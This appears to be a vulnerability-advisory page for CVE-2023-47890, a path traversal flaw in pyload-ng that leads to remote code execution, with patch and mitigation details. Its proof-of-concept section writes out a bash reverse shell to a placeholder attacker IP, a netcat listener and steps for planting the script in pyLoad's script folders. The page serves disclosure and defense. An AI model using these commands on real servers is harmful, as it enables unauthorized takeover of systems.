CVE-2023-47890 is a high-severity (CVSS 7.6) Path Traversal vulnerability in pyload-ng. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for pyload-ng — see the affected versions and patch details below.
Download to arbitrary folder can lead to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-47890.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev75pip install --upgrade 'pyload-ng==0.5.0b3.dev75' |
Affected Products
pyloadpyloadResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev75 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-47890 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2023-47890 in your dependencies?
Find it across PyPI, including transitive dependencies.